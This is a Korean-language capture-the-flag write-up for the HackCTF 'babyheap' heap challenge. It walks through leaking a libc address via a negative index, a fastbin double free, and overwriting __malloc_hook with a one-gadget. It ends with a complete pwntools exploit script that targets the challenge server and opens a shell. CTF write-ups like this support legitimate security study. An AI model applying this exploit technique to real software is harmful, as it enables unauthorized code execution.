v4가 1이면, Malloc 함수를 실행하고, 2이면 Free 함수를 실행하고, 3이면 Show 함수를 실행한다.
size 잡아서 malloc 함수로 그만큼 할당하고 data 입력한다.
별거 없이 free 함수를 실행한다.
malloc으로 할당되어 있는 곳에 data를 출력한다. 여기서 주소 leak이 가능해보인다.
How to Exploit
더블 free 시에 error 발생하므로 16.04 에서 익스를 짜야할 것 같다.
1. Leak the library address
show 함수를 이용하면 될 것 같다. 그런데 할당과 동시에 data를 쓰는데 Full Relro
가 걸려있어서 got에 write하려면 에러가 발생한다. 그런데 size에 0을 넣으면 입력 안할 수 있는 것 같다.
근데, 그냥 show 함수에서 index만 바꿔서 got를 가르키게 하면 된다. 아니다.
Relocation Table에 got의 주소가 적혀있으므로 index를 바꿔서 여기를 가르키게 하자.
index에 -262999를 주면 된다.
2. Leak the stack address
를 하려고 했는데 도저히 생각 안난다.
3. Malloc hook overwrite
malloc 함수가 호출되었을 때 C 라이브러리가 hook이 존재하는지를 확인하고 만약 존재하면 그 hook 버전을 부른다. 그 이유는 디버깅을 수월하게 하려고 라고 한다.
따라서 malloc의 hook 부분에 oneshot 가젯으로 값을 덮어씌우면 malloc 함수가 호출될 때 쉘을 딸 수 있을 것 같다.
저 0x7f1fcff7db10이라는 주소에 oneshot 가젯을 덮으면 될 것 같다. 이거는 find를 이용해서 직접 찾았다.
메모리 할당할 때 size도 맞춰줘야 해서 0x7f라는 libc의 주소 첫번째 바이트를 size로 맞춰주기 위해 위치를 조절하였다. 우선 0x70의 size가 되려면 90을 주면 된다.
main_arena가 존재하지 않는다. libc 버전이 그런가 보다.
size가 0x000000000000007f
여야 하므로 malloc_hook에서 -29만큼 떨어진 곳에 할당해야 한다. 그냥 디버깅하면서 오프셋 직접 구했다.
double free로 오류가 발생하면 malloc 함수가 호출되어 쉘을 딸 수 있다.
참조 : https://lclang.tistory.com/165
Exploit Code
from pwn import *
def malloc(size, payload):
p.sendafter('> ', '1')
p.sendlineafter('size: ', str(size))
if size > 0:
p.sendafter('content: ', payload)
def free(index):
p.sendafter('> ', '2')
p.sendlineafter('index: ', str(index))
def show(index):
p.sendafter('> ', '3')
p.sendlineafter('index: ', str(index))
#p=process('./babyheap', env={"LD_PRELOAD":"./libc.so.6"})
p=remote('ctf.j0n9hyun.xyz', 3030)
puts_offset = 0x6f690
onegadget_offset = 0xf02a4 # rsp+0x50 == NULL
malloc_hook_offset = 0x3c4b10
pause()
show(-262999)
puts = u64(p.recv(6)+'\x00'*2)
log.info('puts addr : '+hex(puts))
libc_base = puts - puts_offset
log.info('libc base :'+hex(libc_base))
malloc_hook = malloc_hook_offset+libc_base
onegadget = onegadget_offset+libc_base
log.info('malloc_hook : '+hex(malloc_hook))
log.info('onegadget : '+hex(onegadget))
malloc(90, 'hihi') # index = 0
malloc(90, 'bibi') # index = 1
free(0)
free(1)
free(0)
malloc(90, p64(malloc_hook-35)) # index = 2
malloc(90, p64(malloc_hook-35)) # index = 3
malloc(90, p64(malloc_hook-35)) # index = 4
malloc(90, 'A'*19+p64(onegadget)) # index = 5
p.interactive()
Capture The Flag
'Writeup [pwn] > HackCTF' 카테고리의 다른 글
World Best Encryption Tool (0) | 2020.03.07 |
---|---|
Unexploitable #1 (0) | 2020.03.07 |
RTL_Core (0) | 2020.03.07 |
ROP (0) | 2020.03.07 |
Beginner_Heap (0) | 2020.03.07 |